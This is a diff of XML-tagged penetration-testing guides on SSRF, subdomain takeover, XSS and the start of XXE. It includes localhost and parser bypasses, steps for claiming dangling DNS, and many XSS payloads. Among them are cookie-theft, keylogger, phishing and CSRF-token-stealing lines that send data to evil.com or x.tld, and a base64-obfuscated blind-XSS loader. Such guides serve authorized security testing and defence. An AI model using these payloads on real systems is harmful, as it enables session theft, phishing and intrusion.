<validation>
|
||||
1. Prove an outbound server-initiated request occurred (OAST interaction or internal-only response differences).
|
||||
2. Show access to non-public resources (metadata, internal admin, service ports) from the vulnerable service.
|
||||
3. Where possible, demonstrate minimal-impact credential access (short-lived token) or a harmless internal data read.
|
||||
4. Confirm reproducibility and document request parameters that control scheme/host/headers/method and redirect behavior.
|
||||
</validation>
|
||||
|
||||
<filter_bypasses>
|
||||
<localhost>
|
||||
127.1, 0177.0.0.1, 0x7f000001, 2130706433, 127.0.0.0/8, localtest.me
|
||||
</localhost>
|
||||
<false_positives>
|
||||
- Client-side fetches only (no server request)
|
||||
- Strict allowlists with DNS pinning and no redirect following
|
||||
- SSRF simulators/mocks returning canned responses without real egress
|
||||
- Blocked egress confirmed by uniform errors across all targets and protocols
|
||||
</false_positives>
|
||||
|
||||
<parser_differentials>
|
||||
http://evil.com#@good.com/, http:evil.com
|
||||
</parser_differentials>
|
||||
|
||||
<protocols>
|
||||
dict://, gopher://, ftp://, file://, jar://, netdoc://
|
||||
</protocols>
|
||||
</filter_bypasses>
|
||||
|
||||
<validation_techniques>
|
||||
To confirm SSRF:
|
||||
1. External callbacks (DNS/HTTP)
|
||||
2. Internal network access (different responses)
|
||||
3. Time-based detection (timeouts)
|
||||
4. Cloud metadata retrieval
|
||||
5. Protocol differentiation
|
||||
</validation_techniques>
|
||||
|
||||
<false_positive_indicators>
|
||||
NOT SSRF if:
|
||||
- Only client-side redirects
|
||||
- Whitelist properly blocking
|
||||
- Generic errors for all URLs
|
||||
- No outbound requests made
|
||||
- Same-origin policy enforced
|
||||
</false_positive_indicators>
|
||||
|
||||
<impact_demonstration>
|
||||
- Cloud credential theft (AWS/GCP/Azure)
|
||||
- Internal admin panel access
|
||||
- Port scanning results
|
||||
- SSRF to RCE chain
|
||||
- Data exfiltration
|
||||
</impact_demonstration>
|
||||
<impact>
|
||||
- Cloud credential disclosure with subsequent control-plane/API access
|
||||
- Access to internal control panels and data stores not exposed publicly
|
||||
- Lateral movement into Kubernetes, service meshes, and CI/CD
|
||||
- RCE via protocol abuse (FCGI, Redis), Docker daemon access, or scriptable admin interfaces
|
||||
</impact>
|
||||
|
||||
<pro_tips>
|
||||
1. Always check cloud metadata first
|
||||
2. Chain with other vulns (SSRF + XXE)
|
||||
3. Use time delays for blind SSRF
|
||||
4. Try all protocols, not just HTTP
|
||||
5. Automate internal network scanning
|
||||
6. Check parser quirks (language-specific)
|
||||
7. Monitor DNS for blind confirmation
|
||||
8. Try IPv6 (often forgotten)
|
||||
9. Abuse redirects for filter bypass
|
||||
10. SSRF can be in any URL-fetching feature
|
||||
1. Prefer OAST callbacks first; then iterate on internal addressing and protocols.
|
||||
2. Test IPv6 and mixed-notation addresses; filters often ignore them.
|
||||
3. Observe library/client differences (curl, Java HttpClient, Node, Go); behavior changes across services and jobs.
|
||||
4. Redirects are leverage: control both the initial allowlisted host and the next hop.
|
||||
5. Metadata endpoints require headers/methods; verify if your sink can set them or if intermediaries add them for you.
|
||||
6. Use tiny payloads and tight timeouts to map ports with minimal noise.
|
||||
7. When responses are masked, diff length/ETag/status and TLS error classes to infer reachability.
|
||||
8. Chain quickly to durable impact (short-lived tokens, harmless internal reads) and stop there.
|
||||
</pro_tips>
|
||||
|
||||
<remember>SSRF is often the key to cloud compromise. A single SSRF in cloud = complete account takeover through metadata access.</remember>
|
||||
<remember>Any feature that fetches remote content on behalf of a user is a potential tunnel to internal networks and control planes. Bind scheme/host/port/headers explicitly or expect an attacker to route through them.</remember>
|
||||
</ssrf_vulnerability_guide>
|
||||
|
||||
@@ -0,0 +1,155 @@
|
||||
<subdomain_takeover_guide>
|
||||
<title>SUBDOMAIN TAKEOVER</title>
|
||||
|
||||
<critical>Subdomain takeover lets an attacker serve content from a trusted subdomain by claiming resources referenced by dangling DNS (CNAME/A/ALIAS/NS) or mis-bound provider configurations. Consequences include phishing on a trusted origin, cookie and CORS pivot, OAuth redirect abuse, and CDN cache poisoning.</critical>
|
||||
|
||||
<scope>
|
||||
- Dangling CNAME/A/ALIAS to third-party services (hosting, storage, serverless, CDN)
|
||||
- Orphaned NS delegations (child zones with abandoned/expired nameservers)
|
||||
- Decommissioned SaaS integrations (support, docs, marketing, forms) referenced via CNAME
|
||||
- CDN “alternate domain” mappings (CloudFront/Fastly/Azure CDN) lacking ownership verification
|
||||
- Storage and static hosting endpoints (S3/Blob/GCS buckets, GitHub/GitLab Pages)
|
||||
</scope>
|
||||
|
||||
<methodology>
|
||||
1. Enumerate subdomains comprehensively (web, API, mobile, legacy): aggregate CT logs, passive DNS, and org inventory. De-duplicate and normalize.
|
||||
2. Resolve DNS for all RR types: A/AAAA, CNAME, NS, MX, TXT. Keep CNAME chains; record terminal CNAME targets and provider hints.
|
||||
3. HTTP/TLS probe: capture status, body, length, canonical error text, Server/alt-svc headers, certificate SANs, and CDN headers (Via, X-Served-By).
|
||||
4. Fingerprint providers: map known “unclaimed/missing resource” signatures to candidate services. Maintain a living dictionary.
|
||||
5. Attempt claim (only with authorization): create the missing resource on the provider with the exact required name; bind the custom domain if the provider allows.
|
||||
6. Validate control: serve a minimal unique payload; confirm over HTTPS; optionally obtain a DV certificate (CT log evidence) within legal scope.
|
||||
</methodology>
|
||||
|
||||
<discovery_techniques>
|
||||
<enumeration_pipeline>
|
||||
- Subdomain inventory: combine CT (crt.sh APIs), passive DNS sources, in-house asset lists, IaC/terraform outputs, mobile app assets, and historical DNS
|
||||
- Resolver sweep: use IPv4/IPv6-aware resolvers; track NXDOMAIN vs SERVFAIL vs provider-branded 4xx/5xx responses
|
||||
- Record graph: build a CNAME graph and collapse chains to identify external endpoints (e.g., myapp.example.com → foo.azurewebsites.net)
|
||||
</enumeration_pipeline>
|
||||
|
||||
<dns_indicators>
|
||||
- CNAME targets ending in provider domains: github.io, amazonaws.com, cloudfront.net, azurewebsites.net, blob.core.windows.net, fastly.net, vercel.app, netlify.app, herokudns.com, trafficmanager.net, azureedge.net, akamaized.net
|
||||
- Orphaned NS: subzone delegated to nameservers on a domain that has expired or no longer hosts authoritative servers; or to inexistent NS hosts
|
||||
- MX to third-party mail providers with decommissioned domains (risk: mail subdomain control or delivery manipulation)
|
||||
- TXT/verification artifacts (asuid, _dnsauth, _github-pages-challenge) suggesting previous external bindings
|
||||
</dns_indicators>
|
||||
|
||||
<http_fingerprints>
|
||||
- Service-specific unclaimed messages (examples, not exhaustive):
|
||||
- GitHub Pages: “There isn’t a GitHub Pages site here.”
|
||||
- Fastly: “Fastly error: unknown domain”
|
||||
- Heroku: “No such app” or “There’s nothing here, yet.”
|
||||
- S3 static site: “NoSuchBucket” / “The specified bucket does not exist”
|
||||
- CloudFront (alt domain not configured): 403/400 with “The request could not be satisfied” and no matching distribution
|
||||
- Azure App Service: default 404 for azurewebsites.net unless custom-domain verified (look for asuid TXT requirement)
|
||||
- Shopify: “Sorry, this shop is currently unavailable”
|
||||
- TLS clues: certificate CN/SAN referencing provider default host instead of the custom subdomain indicates potential mis-binding
|
||||
</http_fingerprints>
|
||||
</discovery_techniques>
|
||||
|
||||
<exploitation_techniques>
|
||||
<claim_third_party_resource>
|
||||
- Create the resource with the exact required name:
|
||||
- Storage/hosting: S3 bucket “sub.example.com” (website endpoint) or bucket named after the CNAME target if provider dictates
|
||||
- Pages hosting: create repo/site and add the custom domain (when provider does not enforce prior domain verification)
|
||||
- Serverless/app hosting: create app/site matching the target hostname, then add custom domain mapping
|
||||
- Bind the custom domain: some providers require TXT verification (modern hardened path), others historically allowed binding without proof
|
||||
</claim_third_party_resource>
|
||||
|
||||
<cdn_alternate_domains>
|
||||
- Add the victim subdomain as an alternate domain on your CDN distribution if the provider does not enforce domain ownership checks
|
||||
- Upload a TLS cert via provider or use managed cert issuance if allowed; confirm 200 on the subdomain with your content
|
||||
</cdn_alternate_domains>
|
||||
|
||||
<ns_delegation_takeover>
|
||||
- If a child zone (e.g., zone.example.com) is delegated to nameservers under an expired domain (ns1.abandoned.tld), register abandoned.tld and host authoritative NS; publish records to control all hosts under the delegated subzone
|
||||
- Validate with SOA/NS queries and serve a verification token; then add A/CNAME/MX/TXT as needed
|
||||
</ns_delegation_takeover>
|
||||
|
||||
<mail_surface>
|
||||
- If MX points to a decommissioned provider that allowed inbox creation without domain re-verification (historically), a takeover could enable email receipt for that subdomain; modern providers generally require explicit TXT ownership
|
||||
</mail_surface>
|
||||
</exploitation_techniques>
|
||||
|
||||
<advanced_techniques>
|
||||
<blind_and_cache_channels>
|
||||
- CDN edge behavior: 404/421 vs 403 differentials reveal whether an alt name is partially configured; probe with Host header manipulation
|
||||
- Cache poisoning: once taken over, exploit cache keys and Vary headers to persist malicious responses at the edge
|
||||
</blind_and_cache_channels>
|
||||
|
||||
<ct_and_tls>
|
||||
- Use CT logs to detect unexpected certificate issuance for your subdomain; for PoC, issue a DV cert post-takeover (within scope) to produce verifiable evidence
|
||||
</ct_and_tls>
|
||||
|
||||
<oauth_and_trust_chains>
|
||||
- If the subdomain is whitelisted as an OAuth redirect/callback or in CSP/script-src, a takeover elevates impact to account takeover or script injection on trusted origins
|
||||
</oauth_and_trust_chains>
|
||||
|
||||
<provider_edges>
|
||||
- Many providers hardened domain binding (TXT verification) but legacy projects or specific products remain weak; verify per-product behavior (CDN vs app hosting vs storage)
|
||||
- Multi-tenant providers sometimes accept custom domains at the edge even when backend resource is missing; leverage timing and registration windows
|
||||
</provider_edges>
|
||||
</advanced_techniques>
|
||||
|
||||
<bypass_techniques>
|
||||
<verification_gaps>
|
||||
- Look for providers that accept domain binding prior to TXT verification, or where verification is optional for trial/legacy tiers
|
||||
- Race windows: re-claim resource names immediately after victim deletion while DNS still points to provider
|
||||
</verification_gaps>
|
||||
|
||||
<wildcards_and_fallbacks>
|
||||
- Wildcard CNAMEs to providers may expose unbounded subdomains; test random hosts to identify service-wide unclaimed behavior
|
||||
- Fallback origins: CDNs configured with multiple origins may expose unknown-domain responses from a default origin that is claimable
|
||||
</wildcards_and_fallbacks>
|
||||
</bypass_techniques>
|
||||
|
||||
<special_contexts>
|
||||
<storage_and_static>
|
||||
- S3/GCS/Azure Blob static sites: bucket naming constraints dictate whether a bucket can match hostname; website vs API endpoints differ in claimability and fingerprints
|
||||
</storage_and_static>
|
||||
|
||||
<serverless_and_hosting>
|
||||
- GitHub/GitLab Pages, Netlify, Vercel, Azure Static Web Apps: domain binding flows vary; most require TXT now, but historical projects or specific paths may not
|
||||
</serverless_and_hosting>
|
||||
|
||||
<cdn_and_edge>
|
||||
- CloudFront/Fastly/Azure CDN/Akamai: alternate domain verification differs; some products historically allowed alt-domain claims without proof
|
||||
</cdn_and_edge>
|
||||
|
||||
<dns_delegations>
|
||||
- Child-zone NS delegations outrank parent records; control of delegated NS yields full control of all hosts below that label
|
||||
</dns_delegations>
|
||||
</special_contexts>
|
||||
|
||||
<validation>
|
||||
1. Before: record DNS chain, HTTP response (status/body length/fingerprint), and TLS details.
|
||||
2. After claim: serve unique content and verify over HTTPS at the target subdomain.
|
||||
3. Optional: issue a DV certificate (legal scope) and reference CT entry as durable evidence.
|
||||
4. Demonstrate impact chains (CSP/script-src trust, OAuth redirect acceptance, cookie Domain scoping) with minimal PoCs.
|
||||
</validation>
|
||||
|
||||
<false_positives>
|
||||
- “Unknown domain” pages that are not claimable due to enforced TXT/ownership checks.
|
||||
- Provider-branded default pages for valid, owned resources (not a takeover) versus “unclaimed resource” states
|
||||
- Soft 404s from your own infrastructure or catch-all vhosts
|
||||
</false_positives>
|
||||
|
||||
<impact>
|
||||
- Content injection under trusted subdomain: phishing, malware delivery, brand damage
|
||||
- Cookie and CORS pivot: if parent site sets Domain-scoped cookies or allows subdomain origins in CORS/Trusted Types/CSP
|
||||
- OAuth/SSO abuse via whitelisted redirect URIs
|
||||
- Email delivery manipulation for subdomain (MX/DMARC/SPF interactions in edge cases)
|
||||
</impact>
|
||||
|
||||
<pro_tips>
|
||||
1. Build a pipeline: enumerate (subfinder/amass) → resolve (dnsx) → probe (httpx) → fingerprint (nuclei/custom) → verify claims.
|
||||
2. Maintain a current fingerprint corpus; provider messages change frequently—prefer regex families over exact strings.
|
||||
3. Prefer minimal PoCs: static “ownership proof” page and, where allowed, DV cert issuance for auditability.
|
||||
4. Monitor CT for unexpected certs on your subdomains; alert and investigate.
|
||||
5. Eliminate dangling DNS in decommission workflows first; deletion of the app/service must remove or block the DNS target.
|
||||
6. For NS delegations, treat any expired nameserver domain as critical; reassign or remove delegation immediately.
|
||||
7. Use CAA to limit certificate issuance while you triage; it reduces the blast radius for taken-over hosts.
|
||||
</pro_tips>
|
||||
|
||||
<remember>Subdomain safety is lifecycle safety: if DNS points at anything, you must own and verify the thing on every provider and product path. Remove or verify—there is no safe middle.</remember>
|
||||
</subdomain_takeover_guide>
|
||||
@@ -1,221 +1,169 @@
|
||||
<xss_vulnerability_guide>
|
||||
<title>CROSS-SITE SCRIPTING (XSS) - ADVANCED EXPLOITATION</title>
|
||||
<title>CROSS-SITE SCRIPTING (XSS)</title>
|
||||
|
||||
<critical>XSS leads to account takeover, data theft, and complete client-side compromise. Modern XSS requires sophisticated bypass techniques.</critical>
|
||||
<critical>XSS persists because context, parser, and framework edges are complex. Treat every user-influenced string as untrusted until it is strictly encoded for the exact sink and guarded by runtime policy (CSP/Trusted Types).</critical>
|
||||
|
||||
<scope>
|
||||
- Reflected, stored, and DOM-based XSS across web/mobile/desktop shells
|
||||
- Multi-context injections: HTML, attribute, URL, JS, CSS, SVG/MathML, Markdown, PDF
|
||||
- Framework-specific sinks (React/Vue/Angular/Svelte), template engines, and SSR/ISR
|
||||
- CSP/Trusted Types interactions, bypasses, and gadget-based execution
|
||||
</scope>
|
||||
|
||||
<methodology>
|
||||
1. Identify sources (URL/query/hash/referrer, postMessage, storage, WebSocket, service worker messages, server JSON) and trace to sinks.
|
||||
2. Classify sink context: HTML node, attribute, URL, script block, event handler, JavaScript eval-like, CSS, SVG foreignObject.
|
||||
3. Determine current defenses: output encoding, sanitizer, CSP, Trusted Types, DOMPurify config, framework auto-escaping.
|
||||
4. Craft minimal payloads per context; iterate with encoding/whitespace/casing/DOM mutation variants; confirm with observable side effects beyond alert.
|
||||
</methodology>
|
||||
|
||||
<injection_points>
|
||||
- URL parameters: ?search=, ?q=, ?name=
|
||||
- Form inputs: text, textarea, hidden fields
|
||||
- Headers: User-Agent, Referer, X-Forwarded-For
|
||||
- Cookies (if reflected)
|
||||
- File uploads (filename, metadata)
|
||||
- JSON endpoints: {"user":"<payload>"}
|
||||
- postMessage handlers
|
||||
- DOM properties: location.hash, document.referrer
|
||||
- WebSocket messages
|
||||
- PDF/document generators
|
||||
- Server render: templates (Jinja/EJS/Handlebars), SSR frameworks, email/PDF renderers
|
||||
- Client render: innerHTML/outerHTML/insertAdjacentHTML, template literals, dangerouslySetInnerHTML, v-html, $sce.trustAsHtml, Svelte {@html}
|
||||
- URL/DOM: location.hash/search, document.referrer, base href, data-* attributes
|
||||
- Events/handlers: onerror/onload/onfocus/onclick and JS: URL handlers
|
||||
- Cross-context: postMessage payloads, WebSocket messages, local/sessionStorage, IndexedDB
|
||||
- File/metadata: image/SVG/XML names and EXIF, office documents processed server/client
|
||||
</injection_points>
|
||||
|
||||
<basic_detection>
|
||||
<reflection_testing>
|
||||
Simple: <random123>
|
||||
HTML: <h1>test</h1>
|
||||
Script: <script>alert(1)</script>
|
||||
Event: <img src=x onerror=alert(1)>
|
||||
Protocol: javascript:alert(1)
|
||||
</reflection_testing>
|
||||
<context_rules>
|
||||
- HTML text: encode < > & " '
|
||||
- Attribute value: encode " ' < > & and ensure attribute quoted; avoid unquoted attributes
|
||||
- URL/JS URL: encode and validate scheme (allowlist https/mailto/tel); disallow javascript/data
|
||||
- JS string: escape quotes, backslashes, newlines; prefer JSON.stringify
|
||||
- CSS: avoid injecting into style; sanitize property names/values; beware url() and expression()
|
||||
- SVG/MathML: treat as active content; many tags execute via onload or animation events
|
||||
</context_rules>
|
||||
|
||||
<encoding_contexts>
|
||||
- HTML: <>&"'
|
||||
- Attribute: "'<>&
|
||||
- JavaScript: "'\/\n\r\t
|
||||
- URL: %3C%3E%22%27
|
||||
- CSS: ()'";{}
|
||||
</encoding_contexts>
|
||||
</basic_detection>
|
||||
<advanced_detection>
|
||||
<differential_responses>
|
||||
- Compare responses with/without payload; normalize by length/ETag/digest; observe DOM diffs with MutationObserver
|
||||
- Time-based userland probes: setTimeout gating to detect execution without visible UI
|
||||
</differential_responses>
|
||||
|
||||
<filter_bypasses>
|
||||
<tag_event_bypasses>
|
||||
<svg onload=alert(1)>
|
||||
<body onpageshow=alert(1)>
|
||||
<marquee onstart=alert(1)>
|
||||
<details open ontoggle=alert(1)>
|
||||
<audio src onloadstart=alert(1)>
|
||||
<video><source onerror=alert(1)>
|
||||
<select autofocus onfocus=alert(1)>
|
||||
<textarea autofocus>/*</textarea><svg/onload=alert(1)>
|
||||
<keygen autofocus onfocus=alert(1)>
|
||||
<frameset onload=alert(1)>
|
||||
</tag_event_bypasses>
|
||||
|
||||
<string_bypass>
|
||||
- Concatenation: 'al'+'ert'
|
||||
- Comments: /**/alert/**/
|
||||
- Template literals: `ale${`rt`}`
|
||||
- Unicode: \u0061lert
|
||||
- Hex: \x61lert
|
||||
- Octal: \141lert
|
||||
- HTML entities: 'alert'
|
||||
- Double encoding: %253Cscript%253E
|
||||
- Case variation: <ScRiPt>
|
||||
</string_bypass>
|
||||
|
||||
<parentheses_bypass>
|
||||
alert`1`
|
||||
setTimeout`alert\x281\x29`
|
||||
[].map.call`1${alert}2`
|
||||
onerror=alert;throw 1
|
||||
onerror=alert,throw 1
|
||||
onerror=alert(1)//
|
||||
</parentheses_bypass>
|
||||
|
||||
<keyword_bypass>
|
||||
- Proxy: window['al'+'ert']
|
||||
- Base64: atob('YWxlcnQ=')
|
||||
- Hex: eval('\x61\x6c\x65\x72\x74')
|
||||
- Constructor: [].constructor.constructor('alert(1)')()
|
||||
- JSFuck: [][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]...
|
||||
</keyword_bypass>
|
||||
</filter_bypasses>
|
||||
<multi_channel>
|
||||
- Repeat tests across REST, GraphQL, WebSocket, SSE, Service Workers, and background sync; protections diverge per channel
|
||||
</multi_channel>
|
||||
</advanced_detection>
|
||||
|
||||
<advanced_techniques>
|
||||
<dom_xss>
|
||||
- Sinks: innerHTML, document.write, eval, setTimeout
|
||||
- Sources: location.hash, location.search, document.referrer
|
||||
- Example: element.innerHTML = location.hash
|
||||
- Exploit: #<img src=x onerror=alert(1)>
|
||||
- Sources: location.* (hash/search), document.referrer, postMessage, storage, service worker messages
|
||||
- Sinks: innerHTML/outerHTML/insertAdjacentHTML, document.write, setAttribute, setTimeout/setInterval with strings, eval/Function, new Worker with blob URLs
|
||||
- Example vulnerable pattern:
|
||||
{% raw %}
|
||||
const q = new URLSearchParams(location.search).get('q');
|
||||
results.innerHTML = `<li>${q}</li>`;
|
||||
{% endraw %}
|
||||
Exploit: {% raw %}?q=<img src=x onerror=fetch('//x.tld/'+document.domain)>{% endraw %}
|
||||
</dom_xss>
|
||||
|
||||
<mutation_xss>
|
||||
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
|
||||
<form><button formaction=javascript:alert(1)>
|
||||
- Leverage parser repairs to morph safe-looking markup into executable code (e.g., noscript, malformed tags)
|
||||
- Payloads:
|
||||
{% raw %}<noscript><p title="</noscript><img src=x onerror=alert(1)>
|
||||
<form><button formaction=javascript:alert(1)>{% endraw %}
|
||||
</mutation_xss>
|
||||
|
||||
<polyglot_xss>
|
||||
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
|
||||
</polyglot_xss>
|
||||
<template_injection>
|
||||
- Server or client templates evaluating expressions (AngularJS legacy, Handlebars helpers, lodash templates)
|
||||
- Example (AngularJS legacy): {% raw %}{{constructor.constructor('fetch(`//x.tld?c=`+document.cookie)')()}}{% endraw %}
|
||||
</template_injection>
|
||||
|
||||
<csp_bypasses>
|
||||
- JSONP endpoints: <script src="//site.com/jsonp?callback=alert">
|
||||
- AngularJS: {{constructor.constructor('alert(1)')()}}
|
||||
- Script gadgets in allowed libraries
|
||||
- Base tag injection: <base href="//evil.com/">
|
||||
- Object/embed: <object data="data:text/html,<script>alert(1)</script>">
|
||||
</csp_bypasses>
|
||||
<csp_bypass>
|
||||
- Weak policies: missing nonces/hashes, wildcards, data: blob: allowed, inline events allowed
|
||||
- Script gadgets: JSONP endpoints, libraries exposing function constructors, import maps or modulepreload lax policies
|
||||
- Base tag injection to retarget relative script URLs; dynamic module import with allowed origins
|
||||
- Trusted Types gaps: missing policy on custom sinks; third-party introducing createPolicy
|
||||
</csp_bypass>
|
||||
|
||||
<trusted_types>
|
||||
- If Trusted Types enforced, look for custom policies returning unsanitized strings; abuse policy whitelists
|
||||
- Identify sinks not covered by Trusted Types (e.g., CSS, URL handlers) and pivot via gadgets
|
||||
</trusted_types>
|
||||
|
||||
<polyglot_minimal>
|
||||
- Keep a compact set tuned per context:
|
||||
HTML node: {% raw %}<svg onload=alert(1)>{% endraw %}
|
||||
Attr quoted: {% raw %}" autofocus onfocus=alert(1) x="{% endraw %}
|
||||
Attr unquoted: {% raw %}onmouseover=alert(1){% endraw %}
|
||||
JS string: {% raw %}"-alert(1)-"{% endraw %}
|
||||
URL: {% raw %}javascript:alert(1){% endraw %}
|
||||
</polyglot_minimal>
|
||||
</advanced_techniques>
|
||||
|
||||
<exploitation_payloads>
|
||||
<cookie_theft>
|
||||
<script>fetch('//evil.com/steal?c='+document.cookie)</script>
|
||||
<img src=x onerror="this.src='//evil.com/steal?c='+document.cookie">
|
||||
new Image().src='//evil.com/steal?c='+document.cookie
|
||||
</cookie_theft>
|
||||
<frameworks>
|
||||
<react>
|
||||
- Primary sink: dangerouslySetInnerHTML; secondary: setting event handlers or URLs from untrusted input
|
||||
- Bypass patterns: unsanitized HTML through libraries; custom renderers using innerHTML under the hood
|
||||
- Defense: avoid dangerouslySetInnerHTML; sanitize with strict DOMPurify profile; treat href/src as data, not HTML
|
||||
</react>
|
||||
|
||||
<keylogger>
|
||||
document.onkeypress=e=>fetch('//evil.com/key?k='+e.key)
|
||||
</keylogger>
|
||||
<vue>
|
||||
- Sink: v-html and dynamic attribute bindings; server-side rendering hydration mismatches
|
||||
- Defense: avoid v-html with untrusted input; sanitize strictly; ensure hydration does not re-interpret content
|
||||
</vue>
|
||||
|
||||
<phishing>
|
||||
document.body.innerHTML='<form action=//evil.com/phish><input name=pass><input type=submit></form>'
|
||||
</phishing>
|
||||
<angular>
|
||||
- Legacy expression injection (pre-1.6); $sce trust APIs misused to whitelist attacker content
|
||||
- Defense: never trustAsHtml for untrusted input; use bypassSecurityTrust only for constants
|
||||
</angular>
|
||||
|
||||
<csrf_token_theft>
|
||||
fetch('/api/user').then(r=>r.text()).then(d=>fetch('//evil.com/token?t='+d.match(/csrf_token":"([^"]+)/)[1]))
|
||||
</csrf_token_theft>
|
||||
<svelte>
|
||||
- Sink: {@html} and dynamic attributes
|
||||
- Defense: never pass untrusted HTML; sanitize or use text nodes
|
||||
</svelte>
|
||||
|
||||
<webcam_mic_access>
|
||||
navigator.mediaDevices.getUserMedia({video:true}).then(s=>...)
|
||||
</webcam_mic_access>
|
||||
</exploitation_payloads>
|
||||
<markdown_richtext>
|
||||
- Markdown renderers often allow HTML passthrough; plugins may re-enable raw HTML
|
||||
- Sanitize post-render; forbid inline HTML or restrict to safe whitelist; remove dangerous URI schemes
|
||||
</markdown_richtext>
|
||||
|
||||
<special_contexts>
|
||||
<pdf_generation>
|
||||
- JavaScript in links: <a href="javascript:app.alert(1)">
|
||||
- Form actions: <form action="javascript:...">
|
||||
</pdf_generation>
|
||||
<emails>
|
||||
- Most clients strip scripts but allow CSS/remote content; use CSS/URL tricks only if relevant; avoid assuming JS execution
|
||||
</emails>
|
||||
|
||||
<email_clients>
|
||||
- Limited tags: <a>, <img>, <style>
|
||||
- CSS injection: <style>@import'//evil.com/css'</style>
|
||||
</email_clients>
|
||||
<pdf_and_docs>
|
||||
- PDF engines may execute JS in annotations or links; test javascript: in links and submit actions
|
||||
</pdf_and_docs>
|
||||
|
||||
<markdown>
|
||||
[Click](javascript:alert(1))
|
||||
)
|
||||
</markdown>
|
||||
|
||||
<react_vue>
|
||||
- dangerouslySetInnerHTML={{__html: payload}}
|
||||
- v-html directive bypass
|
||||
</react_vue>
|
||||
|
||||
<file_upload_xss>
|
||||
- SVG: <svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>
|
||||
- HTML files
|
||||
- XML with XSLT
|
||||
- MIME type confusion
|
||||
</file_upload_xss>
|
||||
<file_uploads>
|
||||
- SVG/HTML uploads served with text/html or image/svg+xml can execute inline; verify content-type and Content-Disposition: attachment
|
||||
- Mixed MIME and sniffing bypasses; ensure X-Content-Type-Options: nosniff
|
||||
</file_uploads>
|
||||
</special_contexts>
|
||||
|
||||
<blind_xss>
|
||||
<detection>
|
||||
- Out-of-band callbacks
|
||||
- Service workers for persistence
|
||||
- Polyglot payloads for multiple contexts
|
||||
</detection>
|
||||
<post_exploitation>
|
||||
- Session/token exfiltration: prefer fetch/XHR over image beacons for reliability; bind unique IDs to correlate victims
|
||||
- Real-time control: WebSocket C2 that evaluates only a strict command set; avoid eval when demonstrating
|
||||
- Persistence: service worker registration where allowed; localStorage/script gadget re-injection in single-page apps
|
||||
- Impact: role hijack, CSRF chaining, internal port scan via fetch, content scraping, credential phishing overlays
|
||||
</post_exploitation>
|
||||
|
||||
<payloads>
|
||||
'"><script src=//evil.com/blindxss.js></script>
|
||||
'"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Ii8vZXZpbC5jb20veHNzLmpzIjtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw onerror=eval(atob(this.id))>
|
||||
</payloads>
|
||||
</blind_xss>
|
||||
<validation>
|
||||
1. Provide minimal payload and context (sink type) with before/after DOM or network evidence.
|
||||
2. Demonstrate cross-browser execution where relevant or explain parser-specific behavior.
|
||||
3. Show bypass of stated defenses (sanitizer settings, CSP/Trusted Types) with proof.
|
||||
4. Quantify impact beyond alert: data accessed, action performed, persistence achieved.
|
||||
</validation>
|
||||
|
||||
<waf_bypasses>
|
||||
<encoding>
|
||||
- HTML: <script>
|
||||
- URL: %3Cscript%3E
|
||||
- Unicode: \u003cscript\u003e
|
||||
- Mixed: <scr\x69pt>
|
||||
</encoding>
|
||||
|
||||
<obfuscation>
|
||||
<a href="javascript:alert(1)">
|
||||
<img src=x onerror="\u0061\u006C\u0065\u0072\u0074(1)">
|
||||
<svg/onload=eval(atob('YWxlcnQoMSk='))>
|
||||
</obfuscation>
|
||||
|
||||
<browser_bugs>
|
||||
- Chrome: <svg><script>alert(1)
|
||||
- Firefox specific payloads
|
||||
- IE/Edge compatibility
|
||||
</browser_bugs>
|
||||
</waf_bypasses>
|
||||
|
||||
<impact_demonstration>
|
||||
1. Account takeover via cookie/token theft
|
||||
2. Defacement proof
|
||||
3. Keylogging demonstration
|
||||
4. Internal network scanning
|
||||
5. Cryptocurrency miner injection
|
||||
6. Phishing form injection
|
||||
7. Browser exploit delivery
|
||||
8. Session hijacking
|
||||
9. CSRF attack chaining
|
||||
10. Admin panel access
|
||||
</impact_demonstration>
|
||||
<false_positives>
|
||||
- Reflected content safely encoded in the exact context
|
||||
- CSP with nonces/hashes and no inline/event handlers; Trusted Types enforced on sinks; DOMPurify in strict mode with URI allowlists
|
||||
- Scriptable contexts disabled (no HTML pass-through, safe URL schemes enforced)
|
||||
</false_positives>
|
||||
|
||||
<pro_tips>
|
||||
1. Test in all browsers - payloads vary
|
||||
2. Check mobile versions - different parsers
|
||||
3. Use automation for blind XSS
|
||||
4. Chain with other vulnerabilities
|
||||
5. Focus on impact, not just alert(1)
|
||||
6. Test all input vectors systematically
|
||||
7. Understand the context deeply
|
||||
8. Keep payload library updated
|
||||
9. Monitor CSP headers
|
||||
10. Think beyond script tags
|
||||
1. Start with context classification, not payload brute force.
|
||||
2. Use DOM instrumentation to log sink usage; it reveals unexpected flows.
|
||||
3. Keep a small, curated payload set per context and iterate with encodings.
|
||||
4. Validate defenses by configuration inspection and negative tests.
|
||||
5. Prefer impact-driven PoCs (exfiltration, CSRF chain) over alert boxes.
|
||||
6. Treat SVG/MathML as first-class active content; test separately.
|
||||
7. Re-run tests under different transports and render paths (SSR vs CSR vs hydration).
|
||||
8. Test CSP/Trusted Types as features: attempt to violate policy and record the violation reports.
|
||||
</pro_tips>
|
||||
|
||||
<remember>Modern XSS is about bypassing filters, CSP, and WAFs. Focus on real impact - steal sessions, phish credentials, or deliver exploits. Simple alert(1) is just the beginning.</remember>
|
||||
<remember>Context + sink decide execution. Encode for the exact context, verify at runtime with CSP/Trusted Types, and validate every alternative render path. Small payloads with strong evidence beat payload catalogs.</remember>
|
||||
</xss_vulnerability_guide>
|
||||
|
||||
@@ -1,276 +1,184 @@
|
||||
<xxe_vulnerability_guide>
|
||||
<title>XML EXTERNAL ENTITY (XXE) - ADVANCED EXPLOITATION</title>
|
||||
<title>XML EXTERNAL ENTITY (XXE)</title>
|
||||
|
||||
<critical>XXE leads to file disclosure, SSRF, RCE, and DoS. Often found in APIs, file uploads, and document parsers.</critical>
|
||||
<critical>XXE is a parser-level failure that enables local file reads, SSRF to internal control planes, denial-of-service via entity expansion, and in some stacks, code execution through XInclude/XSLT or language-specific wrappers. Treat every XML input as untrusted until the parser is proven hardened.</critical>
|
||||
|
||||
